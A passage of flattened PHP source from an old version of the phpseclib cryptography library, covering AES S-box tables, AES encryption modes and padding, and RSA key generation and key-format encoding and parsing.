0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16 ); $sbox1 = array(); $sbox2 = array(); $sbox3 = array(); for ($i = 0; $i < 256; $i++) { $sbox1[$i << 8] = $sbox0[$i] << 8; $sbox2[$i << 16] = $sbox0[$i] << 16; $sbox3[$i << 24] = $sbox0[$i] << 24; } } return $sbox0[$word & 0x000000FF] | $sbox1[$word & 0x0000FF00] | $sbox2[$word & 0x00FF0000] | $sbox3[$word & 0xFF000000]; } function _invSubWord($word) { static $sbox0, $sbox1, $sbox2, $sbox3; if (empty($sbox0)) { $sbox0 = array( 0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB, 0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB, 0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E, 0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25, 0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92, 0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84, 0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06, 0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B, 0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73, 0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E, 0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4, 0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F, 0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF, 0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D ); $sbox1 = array(); $sbox2 = array(); $sbox3 = array(); for ($i = 0; $i < 256; $i++) { $sbox1[$i << 8] = $sbox0[$i] << 8; $sbox2[$i << 16] = $sbox0[$i] << 16; $sbox3[$i << 24] = $sbox0[$i] << 24; } } return $sbox0[$word & 0x000000FF] | $sbox1[$word & 0x0000FF00] | $sbox2[$word & 0x00FF0000] | $sbox3[$word & 0xFF000000]; } function enablePadding() { $this->padding = true; } function disablePadding() { $this->padding = false; } function _pad($text) { $length = strlen($text); if (!$this->padding) { if ($length % $this->block_size == 0) { return $text; } else { user_error("The plaintext's length ($length) is not a multiple of the block size ({$this->block_size})", E_USER_NOTICE); $this->padding = true; } } $pad = $this->block_size - ($length % $this->block_size); return str_pad($text, $length + $pad, chr($pad)); } function _unpad($text) { if (!$this->padding) { return $text; } $length = ord($text[strlen($text) - 1]); if (!$length || $length > $this->block_size) { return false; } return substr($text, 0, -$length); } function enableContinuousBuffer() { $this->continuousBuffer = true; } function disableContinuousBuffer() { $this->continuousBuffer = false; $this->encryptIV = $this->iv; $this->decryptIV = $this->iv; } function _string_shift(&$string, $index = 1) { $substr = substr($string, 0, $index); $string = substr($string, $index); return $substr; } } define('CRYPT_AES_MODE_CTR', -1); define('CRYPT_AES_MODE_ECB', 1); define('CRYPT_AES_MODE_CBC', 2); define('CRYPT_AES_MODE_CFB', 3); define('CRYPT_AES_MODE_OFB', 4); define('CRYPT_AES_MODE_INTERNAL', 1); define('CRYPT_AES_MODE_MCRYPT', 2); class Crypt_AES extends Crypt_Rijndael { var $enmcrypt; var $demcrypt; var $ecb; function Crypt_AES($mode = CRYPT_AES_MODE_CBC) { if (!defined('CRYPT_AES_MODE')) { switch (true) { case extension_loaded('mcrypt'): define('CRYPT_AES_MODE', CRYPT_AES_MODE_MCRYPT); break; default: define('CRYPT_AES_MODE', CRYPT_AES_MODE_INTERNAL); } } switch (CRYPT_AES_MODE) { case CRYPT_AES_MODE_MCRYPT: switch ($mode) { case CRYPT_AES_MODE_ECB: $this->paddable = true; $this->mode = MCRYPT_MODE_ECB; break; case CRYPT_AES_MODE_CTR: $this->mode = 'ctr'; break; case CRYPT_AES_MODE_CFB: $this->mode = 'ncfb'; break; case CRYPT_AES_MODE_OFB: $this->mode = MCRYPT_MODE_NOFB; break; case CRYPT_AES_MODE_CBC: default: $this->paddable = true; $this->mode = MCRYPT_MODE_CBC; } $this->debuffer = $this->enbuffer = ''; break; default: switch ($mode) { case CRYPT_AES_MODE_ECB: $this->paddable = true; $this->mode = CRYPT_RIJNDAEL_MODE_ECB; break; case CRYPT_AES_MODE_CTR: $this->mode = CRYPT_RIJNDAEL_MODE_CTR; break; case CRYPT_AES_MODE_CFB: $this->mode = CRYPT_RIJNDAEL_MODE_CFB; break; case CRYPT_AES_MODE_OFB: $this->mode = CRYPT_RIJNDAEL_MODE_OFB; break; case CRYPT_AES_MODE_CBC: default: $this->paddable = true; $this->mode = CRYPT_RIJNDAEL_MODE_CBC; } } if (CRYPT_AES_MODE == CRYPT_AES_MODE_INTERNAL) { parent::Crypt_Rijndael($this->mode); } } function setBlockLength($length) { return; } function encrypt($plaintext) { if (CRYPT_AES_MODE == CRYPT_AES_MODE_MCRYPT) { $changed = $this->changed; $this->_mcryptSetup(); if ($this->mode == 'ncfb') { if ($changed) { $this->ecb = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_ECB, ''); mcrypt_generic_init($this->ecb, $this->key, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"); } if (strlen($this->enbuffer)) { $ciphertext = $plaintext ^ substr($this->encryptIV, strlen($this->enbuffer)); $this->enbuffer.= $ciphertext; if (strlen($this->enbuffer) == 16) { $this->encryptIV = $this->enbuffer; $this->enbuffer = ''; mcrypt_generic_init($this->enmcrypt, $this->key, $this->encryptIV); } $plaintext = substr($plaintext, strlen($ciphertext)); } else { $ciphertext = ''; } $last_pos = strlen($plaintext) & 0xFFFFFFF0; $ciphertext.= $last_pos ? mcrypt_generic($this->enmcrypt, substr($plaintext, 0, $last_pos)) : ''; if (strlen($plaintext) & 0xF) { if (strlen($ciphertext)) { $this->encryptIV = substr($ciphertext, -16); } $this->encryptIV = mcrypt_generic($this->ecb, $this->encryptIV); $this->enbuffer = substr($plaintext, $last_pos) ^ $this->encryptIV; $ciphertext.= $this->enbuffer; } return $ciphertext; } if ($this->paddable) { $plaintext = $this->_pad($plaintext); } $ciphertext = mcrypt_generic($this->enmcrypt, $plaintext); if (!$this->continuousBuffer) { mcrypt_generic_init($this->enmcrypt, $this->key, $this->iv); } return $ciphertext; } return parent::encrypt($plaintext); } function decrypt($ciphertext) { if (CRYPT_AES_MODE == CRYPT_AES_MODE_MCRYPT) { $changed = $this->changed; $this->_mcryptSetup(); if ($this->mode == 'ncfb') { if ($changed) { $this->ecb = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_ECB, ''); mcrypt_generic_init($this->ecb, $this->key, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"); } if (strlen($this->debuffer)) { $plaintext = $ciphertext ^ substr($this->decryptIV, strlen($this->debuffer)); $this->debuffer.= substr($ciphertext, 0, strlen($plaintext)); if (strlen($this->debuffer) == 16) { $this->decryptIV = $this->debuffer; $this->debuffer = ''; mcrypt_generic_init($this->demcrypt, $this->key, $this->decryptIV); } $ciphertext = substr($ciphertext, strlen($plaintext)); } else { $plaintext = ''; } $last_pos = strlen($ciphertext) & 0xFFFFFFF0; $plaintext.= $last_pos ? mdecrypt_generic($this->demcrypt, substr($ciphertext, 0, $last_pos)) : ''; if (strlen($ciphertext) & 0xF) { if (strlen($plaintext)) { $this->decryptIV = substr($ciphertext, $last_pos - 16, 16); } $this->decryptIV = mcrypt_generic($this->ecb, $this->decryptIV); $this->debuffer = substr($ciphertext, $last_pos); $plaintext.= $this->debuffer ^ $this->decryptIV; } return $plaintext; } if ($this->paddable) { $ciphertext = str_pad($ciphertext, (strlen($ciphertext) + 15) & 0xFFFFFFF0, chr(0)); } $plaintext = mdecrypt_generic($this->demcrypt, $ciphertext); if (!$this->continuousBuffer) { mcrypt_generic_init($this->demcrypt, $this->key, $this->iv); } return $this->paddable ? $this->_unpad($plaintext) : $plaintext; } return parent::decrypt($ciphertext); } function _mcryptSetup() { if (!$this->changed) { return; } if (!$this->explicit_key_length) { $length = strlen($this->key) >> 2; if ($length > 8) { $length = 8; } else if ($length < 4) { $length = 4; } $this->Nk = $length; $this->key_size = $length << 2; } switch ($this->Nk) { case 4: $this->key_size = 16; break; case 5: case 6: $this->key_size = 24; break; case 7: case 8: $this->key_size = 32; } $this->key = str_pad(substr($this->key, 0, $this->key_size) , $this->key_size, chr(0)); $this->encryptIV = $this->decryptIV = $this->iv = str_pad(substr($this->iv, 0, 16) , 16, chr(0)); if (!isset($this->enmcrypt)) { $mode = $this->mode; $this->demcrypt = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', $mode, ''); $this->enmcrypt = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', $mode, ''); } mcrypt_generic_init($this->demcrypt, $this->key, $this->iv); mcrypt_generic_init($this->enmcrypt, $this->key, $this->iv); $this->changed = false; } function _encryptBlock($in) { $state = unpack('N*word', $in); $Nr = $this->Nr; $w = $this->w; $t0 = $this->t0; $t1 = $this->t1; $t2 = $this->t2; $t3 = $this->t3; $state = array( $state['word1'] ^ $w[0][0], $state['word2'] ^ $w[0][1], $state['word3'] ^ $w[0][2], $state['word4'] ^ $w[0][3] ); for ($round = 1; $round < $this->Nr; $round++) { $state = array( $t0[$state[0] & 0xFF000000] ^ $t1[$state[1] & 0x00FF0000] ^ $t2[$state[2] & 0x0000FF00] ^ $t3[$state[3] & 0x000000FF] ^ $w[$round][0], $t0[$state[1] & 0xFF000000] ^ $t1[$state[2] & 0x00FF0000] ^ $t2[$state[3] & 0x0000FF00] ^ $t3[$state[0] & 0x000000FF] ^ $w[$round][1], $t0[$state[2] & 0xFF000000] ^ $t1[$state[3] & 0x00FF0000] ^ $t2[$state[0] & 0x0000FF00] ^ $t3[$state[1] & 0x000000FF] ^ $w[$round][2], $t0[$state[3] & 0xFF000000] ^ $t1[$state[0] & 0x00FF0000] ^ $t2[$state[1] & 0x0000FF00] ^ $t3[$state[2] & 0x000000FF] ^ $w[$round][3] ); } $state = array( $this->_subWord($state[0]) , $this->_subWord($state[1]) , $this->_subWord($state[2]) , $this->_subWord($state[3]) ); $state = array( ($state[0] & 0xFF000000) ^ ($state[1] & 0x00FF0000) ^ ($state[2] & 0x0000FF00) ^ ($state[3] & 0x000000FF) ^ $this->w[$this->Nr][0], ($state[1] & 0xFF000000) ^ ($state[2] & 0x00FF0000) ^ ($state[3] & 0x0000FF00) ^ ($state[0] & 0x000000FF) ^ $this->w[$this->Nr][1], ($state[2] & 0xFF000000) ^ ($state[3] & 0x00FF0000) ^ ($state[0] & 0x0000FF00) ^ ($state[1] & 0x000000FF) ^ $this->w[$this->Nr][2], ($state[3] & 0xFF000000) ^ ($state[0] & 0x00FF0000) ^ ($state[1] & 0x0000FF00) ^ ($state[2] & 0x000000FF) ^ $this->w[$this->Nr][3] ); return pack('N*', $state[0], $state[1], $state[2], $state[3]); } function _decryptBlock($in) { $state = unpack('N*word', $in); $Nr = $this->Nr; $dw = $this->dw; $dt0 = $this->dt0; $dt1 = $this->dt1; $dt2 = $this->dt2; $dt3 = $this->dt3; $state = array( $state['word1'] ^ $dw[$this->Nr][0], $state['word2'] ^ $dw[$this->Nr][1], $state['word3'] ^ $dw[$this->Nr][2], $state['word4'] ^ $dw[$this->Nr][3] ); for ($round = $this->Nr - 1; $round > 0; $round--) { $state = array( $dt0[$state[0] & 0xFF000000] ^ $dt1[$state[3] & 0x00FF0000] ^ $dt2[$state[2] & 0x0000FF00] ^ $dt3[$state[1] & 0x000000FF] ^ $dw[$round][0], $dt0[$state[1] & 0xFF000000] ^ $dt1[$state[0] & 0x00FF0000] ^ $dt2[$state[3] & 0x0000FF00] ^ $dt3[$state[2] & 0x000000FF] ^ $dw[$round][1], $dt0[$state[2] & 0xFF000000] ^ $dt1[$state[1] & 0x00FF0000] ^ $dt2[$state[0] & 0x0000FF00] ^ $dt3[$state[3] & 0x000000FF] ^ $dw[$round][2], $dt0[$state[3] & 0xFF000000] ^ $dt1[$state[2] & 0x00FF0000] ^ $dt2[$state[1] & 0x0000FF00] ^ $dt3[$state[0] & 0x000000FF] ^ $dw[$round][3] ); } $state = array( $this->_invSubWord(($state[0] & 0xFF000000) ^ ($state[3] & 0x00FF0000) ^ ($state[2] & 0x0000FF00) ^ ($state[1] & 0x000000FF)) ^ $dw[0][0], $this->_invSubWord(($state[1] & 0xFF000000) ^ ($state[0] & 0x00FF0000) ^ ($state[3] & 0x0000FF00) ^ ($state[2] & 0x000000FF)) ^ $dw[0][1], $this->_invSubWord(($state[2] & 0xFF000000) ^ ($state[1] & 0x00FF0000) ^ ($state[0] & 0x0000FF00) ^ ($state[3] & 0x000000FF)) ^ $dw[0][2], $this->_invSubWord(($state[3] & 0xFF000000) ^ ($state[2] & 0x00FF0000) ^ ($state[1] & 0x0000FF00) ^ ($state[0] & 0x000000FF)) ^ $dw[0][3] ); return pack('N*', $state[0], $state[1], $state[2], $state[3]); } } define('CRYPT_RSA_ENCRYPTION_OAEP', 1); define('CRYPT_RSA_ENCRYPTION_PKCS1', 2); define('CRYPT_RSA_SIGNATURE_PSS', 1); define('CRYPT_RSA_SIGNATURE_PKCS1', 2); define('CRYPT_RSA_ASN1_INTEGER', 2); define('CRYPT_RSA_ASN1_SEQUENCE', 48); define('CRYPT_RSA_MODE_INTERNAL', 1); define('CRYPT_RSA_MODE_OPENSSL', 2); define('CRYPT_RSA_PRIVATE_FORMAT_PKCS1', 0); define('CRYPT_RSA_PRIVATE_FORMAT_PUTTY', 1); define('CRYPT_RSA_PRIVATE_FORMAT_XML', 2); define('CRYPT_RSA_PUBLIC_FORMAT_RAW', 3); define('CRYPT_RSA_PUBLIC_FORMAT_PKCS1', 4); define('CRYPT_RSA_PUBLIC_FORMAT_XML', 5); define('CRYPT_RSA_PUBLIC_FORMAT_OPENSSH', 6); class Crypt_RSA { var $zero; var $one; var $privateKeyFormat = CRYPT_RSA_PRIVATE_FORMAT_PKCS1; var $publicKeyFormat = CRYPT_RSA_PUBLIC_FORMAT_PKCS1; var $modulus; var $k; var $exponent; var $primes; var $exponents; var $coefficients; var $hashName; var $hash; var $hLen; var $sLen; var $mgfHash; var $mgfHLen; var $encryptionMode = CRYPT_RSA_ENCRYPTION_OAEP; var $signatureMode = CRYPT_RSA_SIGNATURE_PSS; var $publicExponent = false; var $password = ''; var $components = array(); var $current; function Crypt_RSA() { if (!defined('CRYPT_RSA_MODE')) { switch (true) { default: define('CRYPT_RSA_MODE', CRYPT_RSA_MODE_INTERNAL); } } $this->zero = new Math_BigInteger(); $this->one = new Math_BigInteger(1); $this->hash = new Crypt_Hash('sha1'); $this->hLen = $this->hash->getLength(); $this->hashName = 'sha1'; $this->mgfHash = new Crypt_Hash('sha1'); $this->mgfHLen = $this->mgfHash->getLength(); } function createKey($bits = 1024, $timeout = false, $partial = array()) { if (CRYPT_RSA_MODE == CRYPT_RSA_MODE_OPENSSL) { $rsa = openssl_pkey_new(array( 'private_key_bits' => $bits )); openssl_pkey_export($rsa, $privatekey); $publickey = openssl_pkey_get_details($rsa); $publickey = $publickey['key']; if ($this->privateKeyFormat != CRYPT_RSA_PRIVATE_FORMAT_PKCS1) { $privatekey = call_user_func_array(array( $this, '_convertPrivateKey' ) , array_values($this->_parseKey($privatekey, CRYPT_RSA_PRIVATE_FORMAT_PKCS1))); $publickey = call_user_func_array(array( $this, '_convertPublicKey' ) , array_values($this->_parseKey($publickey, CRYPT_RSA_PUBLIC_FORMAT_PKCS1))); } return array( 'privatekey' => $privatekey, 'publickey' => $publickey, 'partialkey' => false ); } static $e; if (!isset($e)) { if (!defined('CRYPT_RSA_EXPONENT')) { define('CRYPT_RSA_EXPONENT', '65537'); } if (!defined('CRYPT_RSA_COMMENT')) { define('CRYPT_RSA_COMMENT', 'phpseclib-generated-key'); } if (!defined('CRYPT_RSA_SMALLEST_PRIME')) { define('CRYPT_RSA_SMALLEST_PRIME', 4096); } $e = new Math_BigInteger(CRYPT_RSA_EXPONENT); } extract($this->_generateMinMax($bits)); $absoluteMin = $min; $temp = $bits >> 1; if ($temp > CRYPT_RSA_SMALLEST_PRIME) { $num_primes = floor($bits / CRYPT_RSA_SMALLEST_PRIME); $temp = CRYPT_RSA_SMALLEST_PRIME; } else { $num_primes = 2; } extract($this->_generateMinMax($temp + $bits % $temp)); $finalMax = $max; extract($this->_generateMinMax($temp)); $generator = new Math_BigInteger(); $generator->setRandomGenerator('crypt_random'); $n = $this->one->copy(); if (!empty($partial)) { extract(unserialize($partial)); } else { $exponents = $coefficients = $primes = array(); $lcm = array( 'top' => $this->one->copy() , 'bottom' => false ); } $start = time(); $i0 = count($primes) + 1; do { for ($i = $i0; $i <= $num_primes; $i++) { if ($timeout !== false) { $timeout-= time() - $start; $start = time(); if ($timeout <= 0) { return array( 'privatekey' => '', 'publickey' => '', 'partialkey' => serialize(array( 'primes' => $primes, 'coefficients' => $coefficients, 'lcm' => $lcm, 'exponents' => $exponents )) ); } } if ($i == $num_primes) { list($min, $temp) = $absoluteMin->divide($n); if (!$temp->equals($this->zero)) { $min = $min->add($this->one); } $primes[$i] = $generator->randomPrime($min, $finalMax, $timeout); } else { $primes[$i] = $generator->randomPrime($min, $max, $timeout); } if ($primes[$i] === false) { if (count($primes) > 1) { $partialkey = ''; } else { array_pop($primes); $partialkey = serialize(array( 'primes' => $primes, 'coefficients' => $coefficients, 'lcm' => $lcm, 'exponents' => $exponents )); } return array( 'privatekey' => '', 'publickey' => '', 'partialkey' => $partialkey ); } if ($i > 2) { $coefficients[$i] = $n->modInverse($primes[$i]); } $n = $n->multiply($primes[$i]); $temp = $primes[$i]->subtract($this->one); $lcm['top'] = $lcm['top']->multiply($temp); $lcm['bottom'] = $lcm['bottom'] === false ? $temp : $lcm['bottom']->gcd($temp); $exponents[$i] = $e->modInverse($temp); } list($lcm) = $lcm['top']->divide($lcm['bottom']); $gcd = $lcm->gcd($e); $i0 = 1; } while (!$gcd->equals($this->one)); $d = $e->modInverse($lcm); $coefficients[2] = $primes[2]->modInverse($primes[1]); return array( 'privatekey' => $this->_convertPrivateKey($n, $e, $d, $primes, $exponents, $coefficients) , 'publickey' => $this->_convertPublicKey($n, $e) , 'partialkey' => false ); } function _convertPrivateKey($n, $e, $d, $primes, $exponents, $coefficients) { $num_primes = count($primes); $raw = array( 'version' => $num_primes == 2 ? chr(0) : chr(1) , 'modulus' => $n->toBytes(true) , 'publicExponent' => $e->toBytes(true) , 'privateExponent' => $d->toBytes(true) , 'prime1' => $primes[1]->toBytes(true) , 'prime2' => $primes[2]->toBytes(true) , 'exponent1' => $exponents[1]->toBytes(true) , 'exponent2' => $exponents[2]->toBytes(true) , 'coefficient' => $coefficients[2]->toBytes(true) ); switch ($this->privateKeyFormat) { default: $components = array(); foreach($raw as $name => $value) { $components[$name] = pack('Ca*a*', CRYPT_RSA_ASN1_INTEGER, $this->_encodeLength(strlen($value)) , $value); } $RSAPrivateKey = implode('', $components); if ($num_primes > 2) { $OtherPrimeInfos = ''; for ($i = 3; $i <= $num_primes; $i++) { $OtherPrimeInfo = pack('Ca*a*', CRYPT_RSA_ASN1_INTEGER, $this->_encodeLength(strlen($primes[$i]->toBytes(true))) , $primes[$i]->toBytes(true)); $OtherPrimeInfo.= pack('Ca*a*', CRYPT_RSA_ASN1_INTEGER, $this->_encodeLength(strlen($exponents[$i]->toBytes(true))) , $exponents[$i]->toBytes(true)); $OtherPrimeInfo.= pack('Ca*a*', CRYPT_RSA_ASN1_INTEGER, $this->_encodeLength(strlen($coefficients[$i]->toBytes(true))) , $coefficients[$i]->toBytes(true)); $OtherPrimeInfos.= pack('Ca*a*', CRYPT_RSA_ASN1_SEQUENCE, $this->_encodeLength(strlen($OtherPrimeInfo)) , $OtherPrimeInfo); } $RSAPrivateKey.= pack('Ca*a*', CRYPT_RSA_ASN1_SEQUENCE, $this->_encodeLength(strlen($OtherPrimeInfos)) , $OtherPrimeInfos); } $RSAPrivateKey = pack('Ca*a*', CRYPT_RSA_ASN1_SEQUENCE, $this->_encodeLength(strlen($RSAPrivateKey)) , $RSAPrivateKey); if (!empty($this->password)) { $iv = $this->_random(8); $symkey = pack('H*', md5($this->password . $iv)); $symkey.= substr(pack('H*', md5($symkey . $this->password . $iv)) , 0, 8); if (!class_exists('Crypt_TripleDES')) { echo 'your fucked'; exit; } $des = new Crypt_TripleDES(); $des->setKey($symkey); $des->setIV($iv); $iv = strtoupper(bin2hex($iv)); $RSAPrivateKey = "-----BEGIN RSA PRIVATE KEY-----\r\n" . "Proc-Type: 4,ENCRYPTED\r\n" . "DEK-Info: DES-EDE3-CBC,$iv\r\n" . "\r\n" . chunk_split(base64_encode($des->encrypt($RSAPrivateKey))) . '-----END RSA PRIVATE KEY-----'; } else { $RSAPrivateKey = "-----BEGIN RSA PRIVATE KEY-----\r\n" . chunk_split(base64_encode($RSAPrivateKey)) . '-----END RSA PRIVATE KEY-----'; } return $RSAPrivateKey; } } function _convertPublicKey($n, $e) { $modulus = $n->toBytes(true); $publicExponent = $e->toBytes(true); switch ($this->publicKeyFormat) { case CRYPT_RSA_PUBLIC_FORMAT_RAW: return array( 'e' => $e->copy() , 'n' => $n->copy() ); case CRYPT_RSA_PUBLIC_FORMAT_OPENSSH: $RSAPublicKey = pack('Na*Na*Na*', strlen('ssh-rsa') , 'ssh-rsa', strlen($publicExponent) , $publicExponent, strlen($modulus) , $modulus); $RSAPublicKey = 'ssh-rsa ' . base64_encode($RSAPublicKey) . ' ' . CRYPT_RSA_COMMENT; return $RSAPublicKey; default: $components = array( 'modulus' => pack('Ca*a*', CRYPT_RSA_ASN1_INTEGER, $this->_encodeLength(strlen($modulus)) , $modulus) , 'publicExponent' => pack('Ca*a*', CRYPT_RSA_ASN1_INTEGER, $this->_encodeLength(strlen($publicExponent)) , $publicExponent) ); $RSAPublicKey = pack('Ca*a*a*', CRYPT_RSA_ASN1_SEQUENCE, $this->_encodeLength(strlen($components['modulus']) + strlen($components['publicExponent'])) , $components['modulus'], $components['publicExponent']); $RSAPublicKey = "-----BEGIN PUBLIC KEY-----\r\n" . chunk_split(base64_encode($RSAPublicKey)) . '-----END PUBLIC KEY-----'; return $RSAPublicKey; } } function _parseKey($key, $type) { switch ($type) { case CRYPT_RSA_PUBLIC_FORMAT_RAW: if (!is_array($key)) { return false; } $components = array(); switch (true) { case isset($key['e']): $components['publicExponent'] = $key['e']->copy(); break; case isset($key['exponent']): $components['publicExponent'] = $key['exponent']->copy(); break; case isset($key['publicExponent']): $components['publicExponent'] = $key['publicExponent']->copy(); break; case isset($key[0]): $components['publicExponent'] = $key[0]->copy(); } switch (true) { case isset($key['n']): $components['modulus'] = $key['n']->copy(); break; case isset($key['modulo']): $components['modulus'] = $key['modulo']->copy(); break; case isset($key['modulus']): $components['modulus'] = $key['modulus']->copy(); break; case isset($key[1]): $components['modulus'] = $key[1]->copy(); } return $components; case CRYPT_RSA_PRIVATE_FORMAT_PKCS1: case CRYPT_RSA_PUBLIC_FORMAT_PKCS1: if (preg_match('#DEK-Info: (.+),(.+)#', $key, $matches)) { $iv = pack('H*', trim($matches[2])); $symkey = pack('H*', md5($this->password . substr($iv, 0, 8))); $symkey.= substr(pack('H*', md5($symkey . $this->password . $iv)) , 0, 8); $ciphertext = preg_replace('#.+(\r|\n|\r\n)\1|[\r\n]|-.+-#s', '', $key); $ciphertext = preg_match('#^[a-zA-Z\d/+]*={0,2}$#', $ciphertext) ? base64_decode($ciphertext) : false; if ($ciphertext === false) { $ciphertext = $key; } switch ($matches[1]) { case 'AES-128-CBC': if (!class_exists('Crypt_AES')) { echo "your fucked"; exit; } $symkey = substr($symkey, 0, 16); $crypto = new Crypt_AES(); break; case 'DES-EDE3-CFB': if (!class_exists('Crypt_TripleDES')) { echo "your fucked"; exit; } $crypto = new Crypt_TripleDES(CRYPT_DES_MODE_CFB); break; case 'DES-EDE3-CBC': if (!class_exists('Crypt_TripleDES')) { echo "your fucked"; exit; } $crypto = new Crypt_TripleDES(); break; case 'DES-CBC': if (!class_exists('Crypt_DES')) { echo "your fucked"; exit; } $crypto = new Crypt_DES(); break; default: return false; } $crypto->setKey($symkey); $crypto->setIV($iv); $decoded = $crypto->decrypt($ciphertext); } else { $decoded = preg_replace('#-.+-|[\r\n]#', '', $key); $decoded = preg_match('#^[a-zA-Z\d/+]*={0,2}$#', $decoded) ? base64_decode($decoded) : false; } if ($decoded !== false) { $key = $decoded; } $components = array(); if (ord($this->_string_shift($key)) != CRYPT_RSA_ASN1_SEQUENCE) { return false; } if ($this->_decodeLength($key) != strlen($key)) { return false; } $tag = ord($this->_string_shift($key)); if ($tag == CRYPT_RSA_ASN1_SEQUENCE) { $this->_string_shift($key, $this->_decodeLength($key)); $this->_string_shift($key); $this->_decodeLength($key); $this->_string_shift($key); if (ord($this->_string_shift($key)) != CRYPT_RSA_ASN1_SEQUENCE) { return false; } if ($this->_decodeLength($key) != strlen($key)) { return false; } $tag = ord($this->_string_shift($key)); } if ($tag != CRYPT_RSA_ASN1_INTEGER) { return false; } $length = $this->_decodeLength($key); $temp = $this->_string_shift($key, $length); if (strlen($temp) != 1 || ord($temp) > 2) { $components['modulus'] = new Math_BigInteger($temp, -256); $this->_string_shift($key); $length = $this->_decodeLength($key); $components[$type == CRYPT_RSA_PUBLIC_FORMAT_PKCS1 ? 'publicExponent' : 'privateExponent'] = new Math_BigInteger($this->_string_shift($key, $length) , -256); return $components; } if (ord($this->_string_shift($key)) != CRYPT_RSA_ASN1_INTEGER) { return false; } $length = $this->_decodeLength($key); $components['modulus'] = new Math_BigInteger($this->_string_shift($key, $length) , -256); $this->_string_shift($key); $length = $this->_decodeLength($key); $components['publicExponent'] = new Math_BigInteger($this->_string_shift($key, $length) , -256); $this->_string_shift($key); $length = $this->_decodeLength($key); $components['privateExponent'] = new Math_BigInteger($this->_string_shift($key, $length) , -256); $this->_string_shift($key); $length = $this->_decodeLength($key); $components['primes'] = array( 1 => new Math_BigInteger($this->_string_shift($key, $length) , -256) ); $this->_string_shift($key); $length = $this->_decodeLength($key); $components['primes'][] = new Math_BigInteger($this->_string_shift($key, $length) , -256); $this->_string_shift($key); $length = $this->_decodeLength($key); $components['exponents'] = array( 1 => new Math_BigInteger($this->_string_shift($key, $length) , -256) ); $this->_string_shift($key); $length = $this->_decodeLength($key); $components['exponents'][] = new Math_BigInteger($this->_string_shift($key, $length) , -256); $this->_string_shift($key); $length = $this->_decodeLength($key); $components['coefficients'] = array( 2 => new Math_BigInteger($this->_string_shift($key, $length) , -256) ); if (!empty($key)) { if (ord($this->_string_shift($key)) != CRYPT_RSA_ASN1_SEQUENCE) { return false; } $this->_decodeLength($key); while (!empty($key)) { if (ord($this->_string_shift($key)) != CRYPT_RSA_ASN1_SEQUENCE) { return false; } $this->_decodeLength($key); 